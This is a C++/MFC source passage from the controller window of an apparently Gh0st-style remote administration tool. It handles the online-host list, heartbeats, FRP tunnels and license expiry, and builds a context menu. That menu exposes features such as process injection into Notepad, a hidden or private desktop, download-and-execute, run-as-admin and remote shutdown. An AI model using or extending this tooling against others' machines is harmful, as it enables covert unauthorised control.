// 恢复重绘 - 虚拟列表只需刷新可见区域的变化行
|
||
if (hasListChange) {
|
||
m_CList_Online.SetRedraw(TRUE);
|
||
int totalCount = (int)m_FilteredIndices.size();
|
||
if (totalCount == 0) {
|
||
// 列表变空时,强制重绘整个列表以清除残留项
|
||
m_CList_Online.Invalidate();
|
||
} else {
|
||
// 只需刷新可见范围内的行
|
||
int topIdx = m_CList_Online.GetTopIndex();
|
||
int visibleCount = m_CList_Online.GetCountPerPage();
|
||
int bottomIdx = min(topIdx + visibleCount, totalCount - 1);
|
||
if (bottomIdx >= topIdx) {
|
||
m_CList_Online.RedrawItems(topIdx, bottomIdx);
|
||
}
|
||
}
|
||
|
||
// 更新状态栏主机数量
|
||
CString strStatusMsg;
|
||
strStatusMsg.FormatL("有%d个主机在线", (int)m_FilteredIndices.size());
|
||
strStatusMsg += CString("[Total: ") + std::to_string(m_HostList.size()).c_str() + "]";
|
||
m_StatusBar.SetPaneText(0, strStatusMsg);
|
||
}
|
||
|
||
// 处理心跳更新 - 虚拟列表批量刷新(仅刷新变化行,无闪烁)
|
||
if (!m_DirtyClients.empty()) {
|
||
int minIdx = INT_MAX, maxIdx = -1;
|
||
for (uint64_t id : m_DirtyClients) {
|
||
auto it = m_ClientIndex.find(id);
|
||
if (it != m_ClientIndex.end()) {
|
||
size_t hostIdx = it->second;
|
||
// 在过滤索引中查找显示位置
|
||
for (size_t fi = 0; fi < m_FilteredIndices.size(); ++fi) {
|
||
if (m_FilteredIndices[fi] == hostIdx) {
|
||
int idx = (int)fi;
|
||
if (idx < minIdx) minIdx = idx;
|
||
if (idx > maxIdx) maxIdx = idx;
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
// 一次性刷新整个范围
|
||
if (maxIdx >= 0) {
|
||
m_CList_Online.RedrawItems(minIdx, maxIdx);
|
||
}
|
||
m_DirtyClients.clear();
|
||
}
|
||
|
||
// 批量通知 Web 客户端设备变化(独立于 m_DirtyClients)
|
||
if (WebService().IsRunning()) {
|
||
WebService().FlushDeviceChanges();
|
||
}
|
||
}
|
||
if (nIDEvent == TIMER_STATUSBAR_UPDATE) {
|
||
UpdateStatusBarStats();
|
||
}
|
||
if (nIDEvent == TIMER_STATUSBAR_INIT) {
|
||
KillTimer(TIMER_STATUSBAR_INIT); // 只执行一次
|
||
// 强制重新计算状态栏分区宽度
|
||
CRect rc;
|
||
GetClientRect(&rc);
|
||
OnSize(SIZE_RESTORED, rc.Width(), rc.Height());
|
||
}
|
||
|
||
__super::OnTimer(nIDEvent);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::CheckHeartbeat()
|
||
{
|
||
CLock lock(m_cs);
|
||
auto now = time(0);
|
||
int HEARTBEAT_TIMEOUT = max(60, m_settings.ReportInterval * 3);
|
||
|
||
// 收集需要删除的 context(避免遍历时修改 vector)
|
||
std::vector<context*> toRemove;
|
||
for (context* ContextObject : m_HostList) {
|
||
if (now - ContextObject->GetLastHeartbeat() > HEARTBEAT_TIMEOUT) {
|
||
toRemove.push_back(ContextObject);
|
||
}
|
||
}
|
||
|
||
// 批量删除
|
||
for (context* ContextObject : toRemove) {
|
||
auto host = ContextObject->GetAdditionalData(RES_CLIENT_PUBIP);
|
||
host = host.IsEmpty() ? std::to_string(ContextObject->GetClientID()).c_str() : host;
|
||
Mprintf("Client %s[%llu] heartbeat timeout!!! \n", host, ContextObject->GetClientID());
|
||
if (m_needNotify)
|
||
PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg(_TR("主机掉线")),
|
||
(LPARAM)new CharMsg(_TR("主机长时间无心跳: ") + host));
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(_TR("[主机下线] 主机长时间无心跳: ") + host), NULL);
|
||
Mprintf("主机 %s[%llu]心跳超时\n", host, ContextObject->GetClientID());
|
||
|
||
int port = ContextObject->GetPort();
|
||
RemoveFromHostList(ContextObject);
|
||
|
||
// 从待上线队列中移除(防止定时器访问已释放的 context)
|
||
auto pit = std::find(m_PendingOnline.begin(), m_PendingOnline.end(), ContextObject);
|
||
if (pit != m_PendingOnline.end()) {
|
||
m_PendingOnline.erase(pit);
|
||
}
|
||
ContextObject->CancelIO();
|
||
// 使用延迟队列删除,由定时器统一处理刷新
|
||
m_PendingOffline.push_back(port);
|
||
}
|
||
}
|
||
|
||
// 更新状态栏统计信息(MTBF/运行时长、到期时间)
|
||
void CMy2015RemoteDlg::UpdateStatusBarStats()
|
||
{
|
||
if (!m_StatusBar.GetSafeHwnd())
|
||
return;
|
||
|
||
CString strRuntime, strExpire;
|
||
|
||
// === 分区1:运行统计 ===
|
||
if (m_runNormal == 1) {
|
||
// 普通模式:显示程序运行时长
|
||
ULONGLONG uptime = GetTickCount64() - m_ullStartTime;
|
||
ULONGLONG seconds = uptime / 1000;
|
||
ULONGLONG minutes = seconds / 60;
|
||
ULONGLONG hours = minutes / 60;
|
||
ULONGLONG days = hours / 24;
|
||
hours %= 24;
|
||
minutes %= 60;
|
||
|
||
CString strTime;
|
||
if (days > 0)
|
||
strTime.Format(_T("%llud %lluh"), days, hours);
|
||
else if (hours > 0)
|
||
strTime.Format(_T("%lluh %llum"), hours, minutes);
|
||
else
|
||
strTime.Format(_T("%llum"), minutes);
|
||
strRuntime = _TR("运行:") + CString(_T(" ")) + strTime;
|
||
} else {
|
||
// 服务模式:显示 MTBF 统计
|
||
int crashCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_COUNT, 0);
|
||
int startCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_STARTS, 0);
|
||
std::string totalStr = THIS_CFG.GetStr(CFG_CRASH_SECTION, CFG_CRASH_TOTAL_RUN_MS, "0");
|
||
ULONGLONG totalRunMs = _strtoui64(totalStr.c_str(), NULL, 10);
|
||
|
||
// 加上当前会话的运行时间
|
||
totalRunMs += (GetTickCount64() - m_ullStartTime);
|
||
|
||
if (crashCount > 0) {
|
||
// 有崩溃记录:显示 MTBF 和失败率
|
||
ULONGLONG mtbfMs = totalRunMs / crashCount;
|
||
ULONGLONG mtbfHours = mtbfMs / (1000 * 60 * 60);
|
||
ULONGLONG mtbfDays = mtbfHours / 24;
|
||
mtbfHours %= 24;
|
||
|
||
double failRate = (startCount > 0) ? (double)crashCount / startCount * 100.0 : 0;
|
||
|
||
if (mtbfDays > 0)
|
||
strRuntime.Format(_T("MTBF: %llud%lluh | %.1f%%"), mtbfDays, mtbfHours, failRate);
|
||
else
|
||
strRuntime.Format(_T("MTBF: %lluh | %.1f%%"), mtbfHours, failRate);
|
||
} else {
|
||
// 无崩溃记录:显示累计运行时间
|
||
ULONGLONG hours = totalRunMs / (1000 * 60 * 60);
|
||
ULONGLONG days = hours / 24;
|
||
hours %= 24;
|
||
|
||
CString strTime;
|
||
if (days > 0)
|
||
strTime.Format(_T("%llud%lluh"), days, hours);
|
||
else
|
||
strTime.Format(_T("%lluh"), hours);
|
||
strRuntime = _TR("运行:") + CString(_T(" ")) + strTime + _T(" ") + _TR("(无崩溃)");
|
||
}
|
||
}
|
||
// === 分区1:FRP 地址 ===
|
||
// 优先显示上级配置的 FRPC,其次显示本机 FRPS
|
||
CString strFrpDisplay = m_strFrpAddr;
|
||
if (strFrpDisplay.IsEmpty()) {
|
||
// 没有上级 FRP 配置,检查本机是否配置了 FRPS
|
||
if (CFrpsForSubDlg::IsFrpsConfigured()) {
|
||
FrpsConfig frpsCfg = CFrpsForSubDlg::GetFrpsConfig();
|
||
if (frpsCfg.localFrps) {
|
||
strFrpDisplay.Format(_T("FRPS %s:%d"), m_localPublicIP.empty() ?
|
||
m_localPrivateIP.c_str() : m_localPublicIP.c_str(), frpsCfg.port);
|
||
} else {
|
||
strFrpDisplay.Format(_T("FRPS %hs:%d"), frpsCfg.server.c_str(), frpsCfg.port);
|
||
}
|
||
}
|
||
else if (m_settings.UsingFRPProxy) {
|
||
strFrpDisplay.Format(_T("%s:%d"), THIS_CFG.GetStr("settings", "master").c_str(),
|
||
THIS_CFG.Get1Int("settings", "ghost", 6543));
|
||
}
|
||
else if (!m_localPublicIP.empty()) {
|
||
strFrpDisplay.Format(_T("WAN %s:%d"), m_localPublicIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", 6543));
|
||
}
|
||
else {
|
||
strFrpDisplay.Format(_T("LAN %s:%d"), m_localPrivateIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", 6543));
|
||
}
|
||
}
|
||
// 根据是否有内容设置分区宽度
|
||
int paneFrpWidth = 250;
|
||
m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, paneFrpWidth);
|
||
m_StatusBar.SetPaneText(1, strFrpDisplay);
|
||
|
||
m_StatusBar.SetPaneText(2, strRuntime);
|
||
|
||
// === 分区3:到期时间 ===
|
||
// 定期刷新到期时间(每 5 分钟从配置重新读取,以便反映上级延展)
|
||
static ULONGLONG lastExpireRefresh = 0;
|
||
ULONGLONG now = GetTickCount64();
|
||
if (now - lastExpireRefresh > 5 * 60 * 1000) { // 5 分钟
|
||
lastExpireRefresh = now;
|
||
std::string pwd = THIS_CFG.GetStr("settings", "Password", "");
|
||
if (!pwd.empty()) {
|
||
std::string expireDate = ParseExpireDateFromPasscode(pwd);
|
||
m_strExpireDate = expireDate.c_str();
|
||
}
|
||
}
|
||
|
||
if (!m_strExpireDate.IsEmpty()) {
|
||
// 解析到期日期 (YYYYMMDD)
|
||
int year = _ttoi(m_strExpireDate.Left(4));
|
||
int month = _ttoi(m_strExpireDate.Mid(4, 2));
|
||
int day = _ttoi(m_strExpireDate.Mid(6, 2));
|
||
|
||
// 计算剩余天数(包含今天)
|
||
SYSTEMTIME stExpire = {0}, stNow = {0};
|
||
stExpire.wYear = (WORD)year;
|
||
stExpire.wMonth = (WORD)month;
|
||
stExpire.wDay = (WORD)day;
|
||
GetLocalTime(&stNow);
|
||
// 归一化到当天 00:00:00,只比较日期部分
|
||
stNow.wHour = stNow.wMinute = stNow.wSecond = stNow.wMilliseconds = 0;
|
||
|
||
FILETIME ftExpire, ftNow;
|
||
SystemTimeToFileTime(&stExpire, &ftExpire);
|
||
SystemTimeToFileTime(&stNow, &ftNow);
|
||
|
||
ULARGE_INTEGER uliExpire, uliNow;
|
||
uliExpire.LowPart = ftExpire.dwLowDateTime;
|
||
uliExpire.HighPart = ftExpire.dwHighDateTime;
|
||
uliNow.LowPart = ftNow.dwLowDateTime;
|
||
uliNow.HighPart = ftNow.dwHighDateTime;
|
||
|
||
// FILETIME 单位是 100ns,转换为天数,+1 包含到期当天
|
||
LONGLONG diffDays = (LONGLONG)(uliExpire.QuadPart - uliNow.QuadPart) / (10000000LL * 60 * 60 * 24) + 1;
|
||
|
||
if (diffDays <= 0) {
|
||
strExpire = _TR("已过期");
|
||
} else {
|
||
CString strDate, strDays;
|
||
strDate.Format(_T("%04d-%02d-%02d"), year, month, day);
|
||
strDays.Format(_T("(%lld"), diffDays);
|
||
strExpire = _TR("到期:") + CString(_T(" ")) + strDate + _T(" ") + strDays + _TR("天") + _T(")");
|
||
}
|
||
m_StatusBar.SetPaneText(3, strExpire);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce)
|
||
{
|
||
if (!m_pFloatingTip)
|
||
return;
|
||
|
||
if (!bForce && ::IsWindow(m_pFloatingTip->GetSafeHwnd())) {
|
||
CPoint pt;
|
||
GetCursorPos(&pt);
|
||
CRect rc;
|
||
m_pFloatingTip->GetWindowRect(&rc);
|
||
|
||
if (rc.PtInRect(pt))
|
||
return; // 鼠标还在窗口上,继续等待
|
||
}
|
||
|
||
if (::IsWindow(m_pFloatingTip->GetSafeHwnd()))
|
||
m_pFloatingTip->DestroyWindow();
|
||
|
||
SAFE_DELETE(m_pFloatingTip);
|
||
KillTimer(TIMER_CLOSEWND);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnClose()
|
||
{
|
||
// 隐藏窗口而不是关闭
|
||
ShowWindow(SW_HIDE);
|
||
if (m_pSearchBar && m_pSearchBar->GetSafeHwnd()) {
|
||
m_pSearchBar->ShowWindow(SW_HIDE);
|
||
}
|
||
Mprintf("======> Hide\n");
|
||
}
|
||
|
||
void CMy2015RemoteDlg::Release()
|
||
{
|
||
Mprintf("======> Release\n");
|
||
|
||
// 设置全局退出标志,通知所有分离线程停止
|
||
g_bAppExiting = true;
|
||
|
||
// Stop Web Remote Control service
|
||
if (WebService().IsRunning()) {
|
||
Mprintf("Stopping WebService...\n");
|
||
WebService().Stop();
|
||
}
|
||
|
||
UninitFileUpload();
|
||
DeletePopupWindow(TRUE);
|
||
isClosed = TRUE;
|
||
ShowWindow(SW_HIDE);
|
||
|
||
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
|
||
|
||
BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT;
|
||
EnterCriticalSection(&m_cs);
|
||
for (auto i=m_HostList.begin(); i!=m_HostList.end(); ++i) {
|
||
context* ContextObject = *i;
|
||
ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||
ContextObject->Destroy();
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
m_ClientMap->SaveToFile(GetDbPath());
|
||
if (m_pClientListDlg != nullptr && ::IsWindow(m_pClientListDlg->GetSafeHwnd())) {
|
||
// 关键:调用 DestroyWindow,它会触发窗口的关闭和销毁流程
|
||
m_pClientListDlg->DestroyWindow();
|
||
|
||
// 注意:如果你在对话框的 PostNcDestroy 里写了 delete this;
|
||
// 那么此时不要再 delete m_pClientListDlg,只需将指针置 NULL 即可
|
||
m_pClientListDlg = nullptr;
|
||
}
|
||
if (m_pLicenseDlg != nullptr) {
|
||
if (::IsWindow(m_pLicenseDlg->GetSafeHwnd())) {
|
||
m_pLicenseDlg->DestroyWindow();
|
||
}
|
||
delete m_pLicenseDlg;
|
||
m_pLicenseDlg = nullptr;
|
||
}
|
||
Sleep(500);
|
||
StopAllFrpClients();
|
||
#ifdef _WIN64
|
||
StopLocalFrpsServer(); // 停止本地 FRPS 服务器
|
||
#endif
|
||
StopFrpcAuto(); // 停止 FRP 自动代理
|
||
|
||
THIS_APP->Destroy();
|
||
SAFE_DELETE(m_gridDlg);
|
||
g_2015RemoteDlg = NULL;
|
||
SetEvent(m_hExit);
|
||
SAFE_CLOSE_HANDLE(m_hExit);
|
||
m_hExit = NULL;
|
||
Sleep(500);
|
||
SAFE_DELETE(m_IPConverter);
|
||
|
||
timeEndPeriod(1);
|
||
}
|
||
|
||
int CALLBACK CMy2015RemoteDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
|
||
{
|
||
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
|
||
int nColumn = pSortInfo->first;
|
||
bool bAscending = pSortInfo->second;
|
||
|
||
// 获取列值
|
||
CONTEXT_OBJECT* context1 = (CONTEXT_OBJECT*)lParam1;
|
||
CONTEXT_OBJECT* context2 = (CONTEXT_OBJECT*)lParam2;
|
||
CString s1 = context1->GetClientData(nColumn);
|
||
CString s2 = context2->GetClientData(nColumn);
|
||
|
||
int result = s1 > s2 ? 1 : -1;
|
||
return bAscending ? result : -result;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::SortByColumn(int nColumn)
|
||
{
|
||
static int m_nSortColumn = 0;
|
||
static bool m_bSortAscending = false;
|
||
if (nColumn == m_nSortColumn) {
|
||
// 如果点击的是同一列,切换排序顺序
|
||
m_bSortAscending = !m_bSortAscending;
|
||
} else {
|
||
// 否则,切换到新列并设置为升序
|
||
m_nSortColumn = nColumn;
|
||
m_bSortAscending = true;
|
||
}
|
||
|
||
// 虚拟列表:对数据源进行排序
|
||
EnterCriticalSection(&m_cs);
|
||
int col = m_nSortColumn;
|
||
bool asc = m_bSortAscending;
|
||
std::sort(m_HostList.begin(), m_HostList.end(),
|
||
[col, asc](context* a, context* b) {
|
||
CString s1 = a ? a->GetClientData(col) : "";
|
||
CString s2 = b ? b->GetClientData(col) : "";
|
||
int result = s1.Compare(s2);
|
||
return asc ? (result < 0) : (result > 0);
|
||
});
|
||
|
||
// 重建索引映射
|
||
m_ClientIndex.clear();
|
||
for (size_t i = 0; i < m_HostList.size(); ++i) {
|
||
if (m_HostList[i]) {
|
||
m_ClientIndex[m_HostList[i]->GetClientID()] = i;
|
||
}
|
||
}
|
||
// 重建过滤索引
|
||
RebuildFilteredIndices();
|
||
LeaveCriticalSection(&m_cs);
|
||
|
||
// 刷新列表
|
||
m_CList_Online.Invalidate();
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
|
||
int nColumn = pNMHeader->iItem; // 获取点击的列索引
|
||
SortByColumn(nColumn); // 调用排序函数
|
||
*pResult = 0;
|
||
}
|
||
|
||
// 虚拟列表数据回调 - 当列表需要显示某行某列的数据时调用
|
||
void CMy2015RemoteDlg::OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
NMLVDISPINFO* pDispInfo = reinterpret_cast<NMLVDISPINFO*>(pNMHDR);
|
||
LVITEM* pItem = &pDispInfo->item;
|
||
int iItem = pItem->iItem;
|
||
|
||
// 加锁保护 m_FilteredIndices 和 m_HostList 访问
|
||
CLock lock(m_cs);
|
||
|
||
// 边界检查(使用过滤后的索引)
|
||
if (iItem < 0 || iItem >= (int)m_FilteredIndices.size()) {
|
||
*pResult = 0;
|
||
return;
|
||
}
|
||
|
||
// 通过过滤索引获取实际的 context
|
||
size_t realIdx = m_FilteredIndices[iItem];
|
||
if (realIdx >= m_HostList.size()) {
|
||
*pResult = 0;
|
||
return;
|
||
}
|
||
|
||
context* ctx = m_HostList[realIdx];
|
||
if (!ctx) {
|
||
*pResult = 0;
|
||
return;
|
||
}
|
||
|
||
// 提供文本数据
|
||
if (pItem->mask & LVIF_TEXT) {
|
||
CString text;
|
||
int nCol = pItem->iSubItem;
|
||
|
||
// 备注列特殊处理
|
||
if (nCol == ONLINELIST_COMPUTER_NAME) {
|
||
CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
|
||
text = !note.IsEmpty() ? note : ctx->GetClientData(nCol);
|
||
} else {
|
||
text = ctx->GetClientData(nCol);
|
||
if (text.IsEmpty()) text = "?";
|
||
}
|
||
|
||
lstrcpyn(pItem->pszText, text, pItem->cchTextMax);
|
||
}
|
||
|
||
*pResult = 0;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||
{
|
||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||
|
||
//弹出菜单
|
||
|
||
CMenu Menu;
|
||
Menu.LoadMenu(IDR_MENU_LIST_ONLINE); //加载菜单资源 资源和类对象关联
|
||
TranslateMenu(&Menu);
|
||
CMenu* SubMenu = Menu.GetSubMenu(0);
|
||
|
||
CPoint Point;
|
||
GetCursorPos(&Point);
|
||
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
|
||
Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_VIRTUAL_DESKTOP, MF_BYCOMMAND, &m_bmOnline[6], &m_bmOnline[6]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_GRAY_DESKTOP, MF_BYCOMMAND, &m_bmOnline[7], &m_bmOnline[7]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_REMOTE_DESKTOP, MF_BYCOMMAND, &m_bmOnline[8], &m_bmOnline[8]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND, &m_bmOnline[10], &m_bmOnline[10]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_LOGIN_NOTIFY, MF_BYCOMMAND, &m_bmOnline[20], &m_bmOnline[20]);
|
||
// Disable login notify menu if PowerShell is not available
|
||
if (!GetNotifyManager().IsPowerShellAvailable()) {
|
||
Menu.EnableMenuItem(ID_ONLINE_LOGIN_NOTIFY, MF_BYCOMMAND | MF_GRAYED);
|
||
}
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
|
||
Menu.SetMenuItemBitmaps(ID_ONLINE_INJ_NOTEPAD, MF_BYCOMMAND, &m_bmOnline[18], &m_bmOnline[18]);
|
||
Menu.SetMenuItemBitmaps(ID_PROXY_PORT, MF_BYCOMMAND, &m_bmOnline[19], &m_bmOnline[19]);
|
||
// Session management icons (shutdown/reboot/logout)
|
||
Menu.SetMenuItemBitmaps(ID_MACHINE_SHUTDOWN, MF_BYCOMMAND, &m_bmOnline[21], &m_bmOnline[21]);
|
||
Menu.SetMenuItemBitmaps(ID_MACHINE_REBOOT, MF_BYCOMMAND, &m_bmOnline[22], &m_bmOnline[22]);
|
||
Menu.SetMenuItemBitmaps(ID_MACHINE_LOGOUT, MF_BYCOMMAND, &m_bmOnline[23], &m_bmOnline[23]);
|
||
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]);
|
||
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
|
||
|
||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||
|
||
// ============================================================
|
||
// UIBranding: 根据编译时配置或运行时功能标志隐藏右键菜单项
|
||
// ============================================================
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_MESSAGE, CF_MESSAGE))
|
||
SubMenu->DeleteMenu(ID_ONLINE_MESSAGE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_UPDATE, CF_UPDATE))
|
||
SubMenu->DeleteMenu(ID_ONLINE_UPDATE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_DELETE, CF_DELETE))
|
||
SubMenu->DeleteMenu(ID_ONLINE_DELETE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_SHARE, CF_SHARE))
|
||
SubMenu->DeleteMenu(ID_ONLINE_SHARE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_PROXY, CF_PROXY))
|
||
SubMenu->DeleteMenu(ID_MAIN_PROXY, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_HOSTNOTE, CF_HOSTNOTE))
|
||
SubMenu->DeleteMenu(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_VIRTUAL_DESKTOP, CF_VIRTUAL_DESKTOP))
|
||
SubMenu->DeleteMenu(ID_ONLINE_VIRTUAL_DESKTOP, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_GRAY_DESKTOP, CF_GRAY_DESKTOP))
|
||
SubMenu->DeleteMenu(ID_ONLINE_GRAY_DESKTOP, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_REMOTE_DESKTOP, CF_REMOTE_DESKTOP))
|
||
SubMenu->DeleteMenu(ID_ONLINE_REMOTE_DESKTOP, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_H264_DESKTOP, CF_H264_DESKTOP))
|
||
SubMenu->DeleteMenu(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_AUTHORIZE, CF_AUTHORIZE))
|
||
SubMenu->DeleteMenu(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_UNAUTHORIZE, CF_UNAUTHORIZE))
|
||
SubMenu->DeleteMenu(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_ASSIGN_TO, CF_ASSIGN_TO))
|
||
SubMenu->DeleteMenu(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_ADD_WATCH, CF_ADD_WATCH))
|
||
SubMenu->DeleteMenu(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_LOGIN_NOTIFY, CF_LOGIN_NOTIFY))
|
||
SubMenu->DeleteMenu(ID_ONLINE_LOGIN_NOTIFY, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_RUN_AS_ADMIN, CF_RUN_AS_ADMIN))
|
||
SubMenu->DeleteMenu(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_UNINSTALL, CF_UNINSTALL))
|
||
SubMenu->DeleteMenu(ID_ONLINE_UNINSTALL, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_PRIVATE_SCREEN, CF_PRIVATE_SCREEN))
|
||
SubMenu->DeleteMenu(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_REGROUP, CF_REGROUP))
|
||
SubMenu->DeleteMenu(ID_ONLINE_REGROUP, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_INJ_NOTEPAD, CF_INJ_NOTEPAD))
|
||
SubMenu->DeleteMenu(ID_ONLINE_INJ_NOTEPAD, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_PROXY_PORT, CF_PROXY_PORT))
|
||
SubMenu->DeleteMenu(ID_PROXY_PORT, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_PROXY_PORT_STD, CF_PROXY_PORT_STD))
|
||
SubMenu->DeleteMenu(ID_PROXY_PORT_STD, MF_BYCOMMAND);
|
||
|
||
// --- 机器管理子菜单 ---
|
||
CMenu* pMachineMenu = FindSubMenuByCommand(SubMenu, ID_MACHINE_SHUTDOWN);
|
||
if (pMachineMenu) {
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_MACHINE_SHUTDOWN, CF_MACHINE_SHUTDOWN))
|
||
pMachineMenu->DeleteMenu(ID_MACHINE_SHUTDOWN, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_MACHINE_REBOOT, CF_MACHINE_REBOOT))
|
||
pMachineMenu->DeleteMenu(ID_MACHINE_REBOOT, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_MACHINE_LOGOUT, CF_MACHINE_LOGOUT))
|
||
pMachineMenu->DeleteMenu(ID_MACHINE_LOGOUT, MF_BYCOMMAND);
|
||
if (pMachineMenu->GetMenuItemCount() == 0) {
|
||
for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) {
|
||
if (SubMenu->GetSubMenu(i) == pMachineMenu) {
|
||
SubMenu->DeleteMenu(i, MF_BYPOSITION);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// --- 执行命令子菜单 ---
|
||
CMenu* pExecMenu = FindSubMenuByCommand(SubMenu, ID_EXECUTE_DOWNLOAD);
|
||
if (pExecMenu) {
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_EXECUTE_DOWNLOAD, CF_EXECUTE_DOWNLOAD))
|
||
pExecMenu->DeleteMenu(ID_EXECUTE_DOWNLOAD, MF_BYCOMMAND);
|
||
